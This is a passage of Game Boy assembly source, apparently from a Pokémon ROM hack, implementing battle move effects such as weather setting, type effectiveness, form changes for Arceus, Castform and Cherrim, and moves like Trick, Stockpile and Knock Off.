jr Battle_StartWeather
BattleCommand_startrain:
; startrain
ld b, WEATHER_RAIN
ld hl, DownpourText
jr Battle_StartWeather
BattleCommand_startsandstorm:
; startsandstorm
ld b, WEATHER_SANDSTORM
ld hl, SandstormBrewedText
; fallthrough
Battle_StartWeather:
ld a, [wBattleWeather]
cp b
jr z, .failed
ld a, b
ld [wBattleWeather], a
ld a, 5
ld [wWeatherCount], a
call AnimateCurrentMove
call StdBattleTextbox
farjump UpdateWeatherForms
.failed
call AnimateFailedMove
jp PrintButItFailed
BattleCommand_skipsuncharge:
; mimicsuncharge
ld a, [wBattleWeather]
cp WEATHER_SUN
ret nz
ld b, charge_command
jp SkipToBattleCommand
INCLUDE "engine/battle/move_effects/future_sight.asm"
INCLUDE "engine/battle/move_effects/thunder.asm"
CheckHiddenOpponent:
; BUG: This routine is completely redundant and introduces a bug, since BattleCommand_checkhit does these checks properly.
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
and 1 << SUBSTATUS_FLYING | 1 << SUBSTATUS_UNDERGROUND
ret nz
ldh a, [hBattleTurn]
and a
ld a, [wPlayerUnderwater]
jr nz, .go
ld a, [wEnemyUnderwater]
.go
and a
ret
GetUserItem:
; Return the effect of the user's item in bc, and its id at hl.
ld hl, wBattleMonItem
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyMonItem
.go
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVar
bit SUBSTATUS_EMBARGO, a
jr nz, .embargo
ld b, [hl]
jp GetItemHeldEffect
.embargo
ld b, HELD_NONE
ret
GetOpponentItem:
; Return the effect of the opponent's item in bc, and its id at hl.
ld hl, wEnemyMonItem
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wBattleMonItem
.go
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVar
bit SUBSTATUS_EMBARGO, a
jr nz, .embargo
ld b, [hl]
jp GetItemHeldEffect
.embargo
ld b, HELD_NONE
ret
GetItemHeldEffect:
; Return the effect of item b in bc.
ld a, b
and a
ret z
push hl
ld hl, ItemAttributes + ITEMATTR_EFFECT
dec a
ld c, a
ld b, 0
ld a, ITEMATTR_STRUCT_LENGTH
call AddNTimes
ld a, BANK(ItemAttributes)
call GetFarHalfword
ld b, l
ld c, h
pop hl
ret
AnimateCurrentMoveEitherSide:
push hl
push de
push bc
ld a, [wKickCounter]
push af
call BattleCommand_lowersub
pop af
ld [wKickCounter], a
call PlayDamageAnim
call BattleCommand_raisesub
pop bc
pop de
pop hl
ret
AnimateCurrentMove:
push hl
push de
push bc
ld a, [wKickCounter]
push af
call BattleCommand_lowersub
pop af
ld [wKickCounter], a
call LoadMoveAnim
call BattleCommand_raisesub
pop bc
pop de
pop hl
ret
PlayDamageAnim:
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
and a
ret z
call SetMoveAnimationID
ldh a, [hBattleTurn]
and a
ld a, BATTLEANIM_ENEMY_DAMAGE
jr z, .player
ld a, BATTLEANIM_PLAYER_DAMAGE
.player
ld [wNumHits], a
jp PlayUserBattleAnim
LoadMoveAnim:
xor a
ld [wNumHits], a
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
and a
ret z
; fallthrough
LoadAnim:
call SetMoveAnimationID
; fallthrough
PlayUserBattleAnim:
push hl
push de
push bc
callfar PlayBattleAnim
pop bc
pop de
pop hl
ret
SetMoveAnimationID:
push hl
call GetMoveIndexFromID
ld a, l
ld [wFXAnimID], a
ld a, h
ld [wFXAnimID + 1], a
pop hl
ret
PlayOpponentBattleAnim:
ld a, e
ld [wFXAnimID], a
ld a, d
ld [wFXAnimID + 1], a
xor a
ld [wNumHits], a
push hl
push de
push bc
call BattleCommand_switchturn
callfar PlayBattleAnim
call BattleCommand_switchturn
pop bc
pop de
pop hl
ret
CallBattleCore:
ld a, BANK("Battle Core")
rst FarCall
ret
CallBattleCoreAlt:
ld a, BANK("Battle Core 2")
rst FarCall
ret
AnimateFailedMove:
call BattleCommand_lowersub
call BattleCommand_movedelay
jp BattleCommand_raisesub
BattleCommand_movedelay:
; movedelay
; Wait 40 frames.
ld c, 40
jp DelayFrames
BattleCommand_cleartext:
; cleartext
; Used in multi-hit moves.
ld hl, .text
jp BattleTextbox
.text:
text_end
SkipToBattleCommand:
; Skip over commands until reaching command b.
ld a, [wBattleScriptBufferAddress + 1]
ld h, a
ld a, [wBattleScriptBufferAddress]
ld l, a
.loop
ld a, [hli]
cp b
jr nz, .loop
ld a, h
ld [wBattleScriptBufferAddress + 1], a
ld a, l
ld [wBattleScriptBufferAddress], a
ret
DisappearUser:
farcall _DisappearUser
ret
AppearUserLowerSub:
farcall _AppearUserLowerSub
ret
AppearUserRaiseSub:
farcall _AppearUserRaiseSub
ret
_CheckBattleScene:
; Checks the options. Returns carry if battle animations are disabled.
push hl
push de
push bc
farcall CheckBattleScene
pop bc
pop de
pop hl
ret
CheckMoveInList:
; checks if the move ID in a belongs to a list of moves in hl
push bc
push de
push hl
call GetMoveIndexFromID
ld b, h
ld c, l
pop hl
ld de, 2
call IsInHalfwordArray
pop de
pop bc
ret
BattleCommand_stab:
; STAB = Same Type Attack Bonus
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld bc, STRUGGLE
call CompareMove
ret z
ld hl, wBattleMonType1
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wEnemyMonType1
ld a, [hli]
ld d, a
ld e, [hl]
ldh a, [hBattleTurn]
and a
jr z, .go ; Who Attacks and who Defends
ld hl, wEnemyMonType1
ld a, [hli]
ld b, a
ld c, [hl]
ld hl, wBattleMonType1
ld a, [hli]
ld d, a
ld e, [hl]
.go
call GetCurrentMoveType
ld [wCurType], a
push hl
push de
push bc
farcall DoWeatherModifiers
pop bc
pop de
pop hl
push de
push bc
farcall DoBadgeTypeBoosts
pop bc
pop de
push de
push bc
farcall DoOrbTypeDamageBoosts
pop bc
pop de
ld a, [wCurType]
cp b
jr z, .stab
cp c
jr z, .stab
jr .SkipStab
.stab
ld hl, wCurDamage + 1
ld a, [hld]
ld h, [hl]
ld l, a
ld b, h
ld c, l
srl b
rr c
add hl, bc
ld a, h
ld [wCurDamage], a
ld a, l
ld [wCurDamage + 1], a
ld hl, wTypeModifier
set 7, [hl]
.SkipStab:
farcall WonderGuardCheck
jp nc, .wonder_guard
call GetCurrentMoveType2
ld b, a
ld hl, TypeMatchups
farcall2 TypeMatchupSpecialCases
jr c, .force_end
.TypesLoop:
ld a, [hli]
cp -1
jr z, .end
; foresight
cp -2
jr nz, .SkipForesightCheck
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVar
bit SUBSTATUS_IDENTIFIED, a
jr nz, .end
jr .TypesLoop
.SkipForesightCheck:
cp b
jr nz, .SkipType
ld a, [hl]
cp d
jr z, .GotMatchup
cp e
jr z, .GotMatchup
jr .SkipType
.GotMatchup:
push hl
push bc
inc hl
ld a, [wTypeModifier]
and %10000000
ld b, a
; If the target is immune to the move, treat it as a miss and calculate the damage as 0
ld a, [hl]
and a
jr nz, .NotImmune
inc a
ld [wAttackMissed], a
xor a
.NotImmune:
ldh [hMultiplier], a
add b
ld [wTypeModifier], a
xor a
ldh [hMultiplicand + 0], a
ld hl, wCurDamage
ld a, [hli]
ldh [hMultiplicand + 1], a
ld a, [hld]
ldh [hMultiplicand + 2], a
call Multiply
ldh a, [hProduct + 1]
ld b, a
ldh a, [hProduct + 2]
or b
ld b, a
ldh a, [hProduct + 3]
or b
jr z, .ok ; This is a very convoluted way to get back that we've essentially dealt no damage.
; Take the product and divide it by 10.
ld a, 10
ldh [hDivisor], a
ld b, 4
call Divide
ldh a, [hQuotient + 2]
ld b, a
ldh a, [hQuotient + 3]
or b
jr nz, .ok
ld a, 1
ldh [hMultiplicand + 2], a
.ok
ldh a, [hMultiplicand + 1]
ld [hli], a
ldh a, [hMultiplicand + 2]
ld [hl], a
pop bc
pop hl
.SkipType:
inc hl
inc hl
jr .TypesLoop
.wonder_guard
ld a, 1
ld [wWonderGuardMiss], a
.force_end
ld a, 1
ld [wAttackMissed], a
.end
farcall BattleCheckTypeMatchup
ld a, [wTypeMatchup]
ld b, a
ld a, [wTypeModifier]
and %10000000
or b
ld [wTypeModifier], a
ret
GetCurrentMoveType2:
push hl
call GetCurrentMoveType
pop hl
ret
GetCurrentMoveType:
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_WEATHER_BALL
jr z, .weather_ball_type
cp EFFECT_JUDGMENT
jr z, .judgment_type
ld a, BATTLE_VARS_MOVE_TYPE
call GetBattleVarAddr
and TYPE_MASK
ret
.weather_ball_type
push bc
ld a, [wBattleWeather]
cp WEATHER_NONE
ld b, NORMAL
jr .got_weather_type
cp WEATHER_SUN
ld b, FIRE
jr .got_weather_type
cp WEATHER_RAIN
ld b, WATER
jr .got_weather_type
cp WEATHER_HAIL
ld b, ICE
jr .got_weather_type
; sandstorm
ld b, ROCK
.got_weather_type
ld a, b
pop bc
ret
.judgment_type
push bc
push de
ld hl, wBattleMonItem
ldh a, [hBattleTurn]
and a
jr z, .got_item
ld hl, wEnemyMonItem
.got_item
ld a, [hl]
ld b, BANK(PlateItems)
ld hl, PlateItems
ld de, 2
call IsInFarArray
pop de
pop bc
jr nc, .no_plate
inc hl
ld a, BANK(PlateItems)
call GetFarByte
ret
.no_plate
xor a
ret
SECTION "Effect Commands 2", ROMX
CompareMove2:
; checks if the move ID in a matches the move in bc
push hl
call GetMoveIndexFromID
ld a, h
cp b
ld a, l
pop hl
ret nz
cp c
ret
CallBattleCore2:
ld a, BANK("Battle Core")
rst FarCall
ret
AnimateCurrentMove2:
push af
push hl
farcall AnimateCurrentMove
pop hl
pop af
ret
AnimateAndPrintFailedMove2:
farcall AnimateAndPrintFailedMove
ret
FailMove2:
farcall FailMove
ret
UpdateArceusForm:
farcall BattleCommand_switchturn
call .Update
farcall BattleCommand_switchturn
; update player form
; fallthrough
.Update:
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
ld de, wBattleMonType
jr z, .got_species
ld hl, wEnemyMonSpecies
ld de, wEnemyMonType
.got_species
ld a, [hli]
push hl
call GetPokemonIndexFromID
ld a, h
cp HIGH(ARCEUS)
jr nz, .miss
ld a, l
cp LOW(ARCEUS)
jr nz, .miss
pop hl
ld a, [hl]
push de
ld hl, PlateItems
ld de, 2
call IsInArray
pop de
ret nc
; is Arceus, is holding a Plate
inc hl
ld a, [hl] ; target type
ld [de], a
inc de
ld [de], a
ret
.miss
pop hl
ret
INCLUDE "data/items/plate_items.asm"
UpdateWeatherForms:
; update enemy form
call BattleCommand_switchturn
call .Update
call BattleCommand_switchturn
; update player form
; fallthrough
.Update:
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
jr z, .got_species
ld hl, wEnemyMonSpecies
.got_species
ld a, [hl]
call GetPokemonIndexFromID
call GetBaseFormNumber
ld a, h
cp HIGH(CASTFORM)
jr nz, .check_cherrim
ld a, l
cp LOW(CASTFORM)
jr nz, .check_cherrim
; is Castform
ld a, [wBattleWeather]
and a
jr z, .castform_revert
cp WEATHER_SANDSTORM
jr z, .castform_revert
cp WEATHER_RAIN
jr z, .castform_rain
cp WEATHER_SUN
jr z, .castform_sun
; hail
ld hl, CASTFORM_SW
lb bc, ICE, ICE ; type 1 / type 2
jr .update
.castform_rain
ld hl, CASTFORM_RN
lb bc, WATER, WATER ; type 1 / type 2
jr .update
.castform_sun
ld hl, CASTFORM_SN
lb bc, FIRE, FIRE ; type 1 / type 2
jr .update
.castform_revert
ld hl, CASTFORM
lb bc, NORMAL, NORMAL ; type 1 / type 2
jr .update
.check_cherrim
ld a, h
cp HIGH(CHERRIM)
ret nz
ld a, l
cp LOW(CHERRIM)
ret nz
ld a, [wBattleWeather]
cp WEATHER_SUN
jr z, .cherrim_sunny
; revert
ld hl, CHERRIM
lb bc, GRASS, GRASS ; type 1 / type 2
jr .update
.cherrim_sunny
ld hl, CHERRIM_S
lb bc, GRASS, GRASS ; type 1 / type 2
; fallthrough
.update
call .sanity_check
ret nc
call GetPokemonIDFromIndex
ld [wCurPartySpecies], a
push af
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
ld de, wBattleMonType
jr z, .set_species
ld hl, wEnemyMonSpecies
ld de, wEnemyMonType
.set_species
pop af
ld [hl], a
push af
ld a, b
ld [de], a
inc de
ld a, c
ld [de], a
ldh a, [hBattleTurn]
and a
ld hl, wTempBattleMonSpecies
jr z, .got_tempmon
ld hl, wTempEnemyMonSpecies
.got_tempmon
pop af
ld [hl], a
; play animation
farcall _CheckBattleScene
jr c, .mimic_anims
xor a
ld [wNumHits], a
ld hl, ANIM_REFRESH_SPRITE
call GetMoveIDFromIndex
farcall LoadAnim
jr .after_anim
.mimic_anims
farcall BattleCommand_movedelay
farcall BattleCommand_raisesubnoanim
farcall BattleAnimCmd_ReloadPal
.after_anim
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVarAddr
bit SUBSTATUS_SUBSTITUTE, [hl]
jr z, .no_sub
ld hl, SUBSTITUTE
call GetMoveIDFromIndex
farcall LoadAnim
.no_sub
ld hl, ChangedFormBattleText
jp StdBattleTextbox
.sanity_check
; don't change form if you won't actually change
push de
push hl
ld d, h
ld e, l
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonSpecies
jr z, .sc_got_species
ld hl, wEnemyMonSpecies
.sc_got_species
ld a, [hl]
call GetPokemonIndexFromID
ld a, h
cp d
jr nz, .diff
ld a, l
cp e
jr nz, .diff
pop hl
pop de
and a
ret
.diff
pop hl
pop de
scf
ret
BattleCommand_camouflage:
ld hl, wBattleMonType
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wEnemyMonType
.ok
call AnimateCurrentMove2
push hl
call GetEnvironmentType
pop hl
ld [hli], a
ld [hl], a
ld [wNamedObjectIndexBuffer], a
farcall GetTypeName
ld hl, CamouflageText
jp StdBattleTextbox
BattleCommand_naturepower:
ld c, 45
call DelayFrames
call GetEnvironmentType
ld hl, NaturePowerMoves
ld de, 3
call IsInArray
ret nc
inc hl
ld a, [hli]
ld h, [hl]
ld l, a
call GetMoveIDFromIndex
ld [wNamedObjectIndexBuffer], a
push af
call GetMoveName
ld hl, NaturePowerText
call StdBattleTextbox
ld a, BATTLE_VARS_MOVE
call GetBattleVarAddr
pop af
ld [hl], a
farcall UpdateMoveData
farjump ResetTurn
GetEnvironmentType:
ld a, [wPlayerState]
cp PLAYER_SURF
jr z, .water
cp PLAYER_SURF_PIKA
jr z, .water
ld a, [wBattleMode]
cp WILD_BATTLE
jr nz, .tileset
ld a, [wEnvironment]
cp TOWN
jr z, .grass
cp ROUTE
jr z, .grass
.tileset
ld a, [wMapTileset]
ld l, a
ld h, 0
ld bc, NaturePowerTilesets
add hl, bc
ld a, [hl]
ret
.grass
ld a, GRASS
ret
.water
ld a, WATER
ret
INCLUDE "data/moves/nature_power_tilesets.asm"
BattleCommand_endeavor:
ld hl, wBattleMonHP
ld de, wEnemyMonHP
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wEnemyMonHP
ld de, wBattleMonHP
.ok
ld a, [hli]
ld l, [hl]
ld h, a
ld a, [de]
ld b, a
inc de
ld a, [de]
ld c, a
ld a, h
cp b
jr c, .do_effect
ld a, l
cp c
jr nc, .fail
.do_effect
ld a, b
sub h
ld h, a
ld a, c
sbc l
ld [wCurDamage + 1], a
ld a, h
ld [wCurDamage], a
ret
.fail
ld a, 1
ld [wAttackMissed], a
ret
BattleCommand_brine:
push bc
ld hl, wEnemyMonMaxHP + 1
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wBattleMonMaxHP + 1
.go
ld a, [hld]
ld c, a
ld a, [hld]
ld b, a
ld a, [hld]
ld h, [hl]
ld l, a
add hl, hl
dec hl
ld a, h
cp b
jr c, .ok
ld a, l
cp c
jr nc, .no
.ok
pop bc
ld a, d
add a
ld d, a
ret
.no
pop bc
ret
BattleCommand_trick:
; fail if wild opponent uses it
ldh a, [hBattleTurn]
and a
jr z, .player_turn
ld a, [wBattleMode]
cp WILD_BATTLE
jr nz, .player_turn
.fail
jp AnimateAndPrintFailedMove2
.player_turn
ld a, 1
ld [wAttackMissed], a
ld de, wBattleMonItem
farcall CheckStealableItem
jr c, .fail
ld de, wEnemyMonItem
farcall CheckStealableItem
jr c, .fail
ld a, [wBattleMonItem]
and a
jr nz, .ok
ld a, [wEnemyMonItem]
and a
jr z, .fail
.ok
call AnimateCurrentMove2
xor a
ld [wAttackMissed], a
ld hl, wBattleMonItem
ld de, wEnemyMonItem
ld b, [hl]
ld a, [de]
ld [hl], a
ld a, b
ld [de], a
ld a, MON_ITEM
call BattlePartyAttr
push hl
ld a, [wBattleMode]
cp WILD_BATTLE
jr z, .wild_battle
ld a, MON_ITEM
call OTPartyAttr
pop de
ld b, [hl]
ld a, [de]
ld [hl], a
ld a, b
ld [de], a
jr .text
.wild_battle
pop de
ld hl, wBattleMonItem
ld a, [hl]
ld [de], a
.text
ld hl, TrickText
call StdBattleTextbox
ld hl, wBattleMonItem
ld de, wEnemyMonItem
ldh a, [hBattleTurn]
and a
jr z, .gotturn
ld hl, wEnemyMonItem
ld de, wBattleMonItem
.gotturn
ld a, [hl]
and a
jr z, .skip_user_item
ld [wNamedObjectIndexBuffer], a
push de
call GetItemName
ld hl, UserGotItemText
call StdBattleTextbox
pop de
.skip_user_item
ld a, [de]
and a
ret z
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, TargetGotItemText
jp StdBattleTextbox
BattleCommand_taunt:
ld a, [wAttackMissed]
and a
jp nz, FailMove2
ld a, BATTLE_VARS_SUBSTATUS6_OPP
call GetBattleVarAddr
bit SUBSTATUS_TAUNT, [hl]
jr nz, .fail
set SUBSTATUS_TAUNT, [hl]
ld hl, wEnemyTauntCount
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wPlayerTauntCount
.go
call AnimateCurrentMove2
call BattleRandom
and %11 ; [0..3]
add 3 ; [3..6]
ld [hl], a
ld hl, FellForTauntText
jp StdBattleTextbox
.fail
farcall AnimateFailedMove
jp PrintButItFailed
BattleCommand_trumpcard:
push bc
ldh a, [hBattleTurn]
and a
ld a, [wCurMoveNum]
ld hl, wBattleMonPP
jr z, .ok
ld a, [wCurEnemyMoveNum]
ld hl, wEnemyMonPP
.ok
ld c, a
ld b, 0
add hl, bc
pop bc
ld a, [hl]
cp 4
ld d, 40
ret nc
cp 3
ld d, 50
ret nc
cp 2
ld d, 60
ret nc
cp 1
ld d, 80
ret nc
ld d, 200
ret
BattleCommand_refresh:
ld a, BATTLE_VARS_STATUS
call GetBattleVarAddr
ld a, [hl]
and (1 << PSN) | (1 << BRN) | (1 << PAR)
jr z, .fail
call AnimateCurrentMove2
xor a
ld [hl], a
ld a, BATTLE_VARS_SUBSTATUS5
call GetBattleVarAddr
res SUBSTATUS_TOXIC, [hl]
call UpdateUserInParty
ld hl, StatusHealText
call StdBattleTextbox
ldh a, [hBattleTurn]
and a
jp z, CalcPlayerStats
jp CalcEnemyStats
.fail
farcall AnimateFailedMove
jp PrintButItFailed
BattleCommand_wakeupslap:
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
ld a, [hl]
and SLP
ret z
xor a
ld [hl], a
ld a, BATTLE_VARS_SUBSTATUS1_OPP
call GetBattleVarAddr
res SUBSTATUS_NIGHTMARE, [hl]
ld a, d
add a
ld d, a
push bc
push de
call UpdateOpponentInParty
call BattleCommand_switchturn
ld hl, StatusHealText
call StdBattleTextbox
call BattleCommand_switchturn
pop de
pop bc
ret
BattleCommand_smellingsalt:
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
bit PAR, [hl]
ret z
ld a, d
add a
ld d, a
res PAR, [hl]
push bc
push de
call UpdateOpponentInParty
call BattleCommand_switchturn
ld hl, StatusHealText
call StdBattleTextbox
call BattleCommand_switchturn
pop de
pop bc
ret
BattleCommand_imprison:
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
bit SUBSTATUS_IMPRISON, [hl]
jp nz, AnimateAndPrintFailedMove2
ld hl, wBattleMonMoves
ld c, 4
.loop_x
ld b, 4
ld de, wEnemyMonMoves
.loop_y
ld a, [de]
and a
jr z, .next
inc de
cp [hl]
jr z, .hit
dec b
jr nz, .loop_y
.next
ld a, [hli]
and a
jp z, AnimateAndPrintFailedMove2
dec c
jr nz, .loop_x
jp AnimateAndPrintFailedMove2
.hit
call AnimateCurrentMove2
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
set SUBSTATUS_IMPRISON, [hl]
ld hl, ImprisonText
jp StdBattleTextbox
BattleCommand_torment:
ld a, [wAttackMissed]
and a
jp nz, FailMove2
ld a, BATTLE_VARS_SUBSTATUS5_OPP
call GetBattleVarAddr
bit SUBSTATUS_TORMENT, [hl]
jp nz, AnimateAndPrintFailedMove2
set SUBSTATUS_TORMENT, [hl]
call AnimateCurrentMove2
ld hl, TormentText
jp StdBattleTextbox
BattleCommand_movecharge:
ld hl, wPlayerChargeFlag
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyChargeFlag
.go
ld a, 2
ld [hl], a
call AnimateCurrentMove2
ld hl, ChargeText
jp StdBattleTextbox
BattleCommand_watersport:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
bit SUBSTATUS_WATER_SPORT, [hl]
jp nz, AnimateAndPrintFailedMove2
set SUBSTATUS_WATER_SPORT, [hl]
call AnimateCurrentMove2
ld hl, WaterSportText
jp StdBattleTextbox
BattleCommand_mudsport:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
bit SUBSTATUS_MUD_SPORT, [hl]
jp nz, AnimateAndPrintFailedMove2
set SUBSTATUS_MUD_SPORT, [hl]
call AnimateCurrentMove2
ld hl, WaterSportText
jp StdBattleTextbox
CheckSports:
ldh a, [hBattleTurn]
and a
ld a, [wPlayerMoveStructType]
jr z, .go
ld a, [wEnemyMoveStructType]
.go
and TYPE_MASK
cp FIRE
jr z, .water_sport
cp ELECTRIC
ret nz
ld a, [wPlayerSubStatus6]
bit SUBSTATUS_MUD_SPORT, a
jr nz, .hit
ld a, [wEnemySubStatus6]
bit SUBSTATUS_MUD_SPORT, a
jr nz, .hit
ret
.water_sport
ld a, [wPlayerSubStatus6]
bit SUBSTATUS_WATER_SPORT, a
jr nz, .hit
ld a, [wEnemySubStatus6]
bit SUBSTATUS_WATER_SPORT, a
ret z
.hit
rrc d
ret
BattleCommand_ingrain:
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVarAddr
bit SUBSTATUS_INGRAIN, [hl]
jp nz, AnimateAndPrintFailedMove2
set SUBSTATUS_INGRAIN, [hl]
call AnimateCurrentMove2
ld hl, wPlayerMagnetRiseCount
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyMagnetRiseCount
.go
xor a
ld [hl], a
ld hl, IngrainText
jp StdBattleTextbox
INCLUDE "engine/battle/move_effects/assist.asm"
INCLUDE "engine/battle/move_effects/water_spout.asm"
BattleCommand_aquaring:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
bit SUBSTATUS_AQUA_RING, [hl]
jp nz, AnimateAndPrintFailedMove2
set SUBSTATUS_AQUA_RING, [hl]
call AnimateCurrentMove2
ld hl, AquaRingText
jp StdBattleTextbox
BattleCommand_checkuproar:
ld de, wPlayerRolloutCount
ldh a, [hBattleTurn]
and a
jr z, .player
ld de, wEnemyRolloutCount
.player
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
bit SUBSTATUS_UPROAR, [hl]
ret z
ld a, [de]
dec a
ld [de], a
ld b, doturn_command
farjump SkipToBattleCommand
BattleCommand_uproar:
ld de, wPlayerRolloutCount
ldh a, [hBattleTurn]
and a
jr z, .ok
ld de, wEnemyRolloutCount
.ok
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
bit SUBSTATUS_UPROAR, [hl]
ret nz
set SUBSTATUS_UPROAR, [hl]
; Rampage for 1 - 4 more turns
call BattleRandom
and %00000011
inc a
ld [de], a
ld a, 1
ld [wSomeoneIsRampaging], a
ld hl, CausedAnUproarText
jp StdBattleTextbox
BattleCommand_stockpile:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
ld a, [hl]
and MASK_STOCKPILE
cp STOCKPILE_3
jr z, .fail
call AnimateCurrentMove2
call CheckAlreadyFailed
ld a, [hl]
add STOCKPILE_1
ld [hl], a
swap a
rrca
ld [wStringBuffer1], a
ld hl, StockpileText
jp StdBattleTextbox
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_spitup:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
ld a, [hl]
and MASK_STOCKPILE
jr z, .fail
cp STOCKPILE_1
ld d, 100
ret z
cp STOCKPILE_2
ld d, 200
ret z
ld d, 255
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_swallow:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
ld a, [hl]
and MASK_STOCKPILE
jr z, .fail
push af
ld de, wBattleMonHP
ld hl, wBattleMonMaxHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld de, wEnemyMonHP
ld hl, wEnemyMonMaxHP
.got_hp
push hl
push de
push bc
ld c, 2
call CompareBytes
pop bc
pop de
pop hl
jp z, .hp_full
pop af
cp STOCKPILE_1
jr z, .quarter
cp STOCKPILE_2
jr z, .half
ld hl, GetMaxHP
call CallBattleCore2
jr .restore
.quarter
ld hl, GetQuarterMaxHP
call CallBattleCore2
jr .restore
.half
ld hl, GetHalfMaxHP
call CallBattleCore2
.restore
call AnimateCurrentMove2
call BattleCommand_switchturn
ld hl, RestoreHP
call CallBattleCore2
call BattleCommand_switchturn
call UpdateUserInParty
call RefreshBattleHuds
ld hl, RegainedHealthText
jp StdBattleTextbox
.hp_full
farcall AnimateFailedMove
ld hl, HPIsFullText
call StdBattleTextbox
farjump EndMoveEffect
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_removestockpile:
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
ld a, [hl]
and MASK_STOCKPILE
ret z
swap a
rrca
.loop
push af
ld b, DEFENSE
ld a, STAT_LOWER | STAT_SILENT | STAT_SKIPTEXT
farcall2 FarChangeStat
ld b, SP_DEFENSE
ld a, STAT_LOWER | STAT_SILENT | STAT_SKIPTEXT
farcall2 FarChangeStat
pop af
dec a
jr nz, .loop
ld a, BATTLE_VARS_SUBSTATUS6
call GetBattleVarAddr
res SUBSTATUS_STOCKPILE_1, [hl]
res SUBSTATUS_STOCKPILE_2, [hl]
ld hl, StockpileWoreOffText
jp StdBattleTextbox
BattleCommand_acupressure:
ld hl, wPlayerStatLevels
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyStatLevels
.go
; make sure there's a stat that can be raised
ld bc, 0
.check_loop
push hl
add hl, bc
ld a, [hl]
pop hl
cp MAX_STAT_LEVEL
jr nz, .ok
inc c
ld a, c
cp 7
jp z, AnimateAndPrintFailedMove2
jr .check_loop
.ok
; choose a stat to raise
.raise_loop
call BattleRandom
maskbits 7
cp 7
jr nc, .raise_loop
ld c, a
push hl
add hl, bc
ld a, [hl]
pop hl
cp MAX_STAT_LEVEL
jr z, .raise_loop
; found a stat, raise it by 2 levels
ld a, c
or $10
ld b, a
xor a
farcall2 FarChangeStat
ret
BattleCommand_recycle:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerRecycleMemory
ld bc, wPartyMon1Item
ld de, wBattleMonItem
ld a, [wCurBattleMon]
jr z, .go
ld hl, wEnemyRecycleMemory
ld bc, wOTPartyMon1Item
ld de, wEnemyMonItem
ld a, [wCurOTMon]
.go
push af
push bc
ld c, a
ld b, 0
add hl, bc
pop bc
ld a, [hl]
and a
jr z, .fail
ld a, [de]
and a
jr nz, .fail
ld a, [hl]
ld [de], a
xor a
ld [hl], a
ldh a, [hBattleTurn]
and a
jr z, .continue
ld a, [wBattleMode]
dec a
jr z, .done_wild
.continue
pop af
call AnimateCurrentMove2
ld h, b
ld l, c
call GetPartyLocation
ld a, [de]
ld [hl], a
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, RecycleText
jp StdBattleTextbox
.fail
pop af
jp AnimateAndPrintFailedMove2
.done_wild
pop af
ret
BattleCommand_knockoff:
ldh a, [hBattleTurn]
and a
ld hl, wOTPartyMon1Item
ld de, wEnemyMonItem
ld a, [wCurOTMon]
jr z, .go
; fail if wild mon uses it
ld a, [wBattleMode]
cp WILD_BATTLE
ret z
ld hl, wPartyMon1Item
ld de, wBattleMonItem
ld a, [wCurBattleMon]
.go
ld b, a
ld a, [de]
and a
ret z
farcall CheckStealableItem
ret c
ld [wNamedObjectIndexBuffer], a
ld a, b
call GetPartyLocation
xor a
ld [hl], a
ld [de], a
call GetItemName
ld hl, KnockOffText
jp StdBattleTextbox
BattleCommand_captivate:
ld a, [wAttackMissed]
and a
jr nz, .failed
farcall CheckOppositeGender
jr c, .failed
farcall CheckHiddenOpponent
jr nz, .failed
call CheckAlreadyFailed
farjump AnimateCurrentMove
.failed
farcall FailMove
farjump EndMoveEffect
BattleCommand_gyroball:
push bc
push de
ld hl, wBattleMonSpeed
ld de, wEnemyMonSpeed
ldh a, [hBattleTurn]
and a
jr z, .go
ld hl, wEnemyMonSpeed
ld de, wBattleMonSpeed
.go
ld a, [de]
ld b, a
inc de
ld a, [de]
ld e, a
ld d, b
xor a
ldh [hMultiplicand + 0], a
ld a, d
ldh [hMultiplicand + 1], a
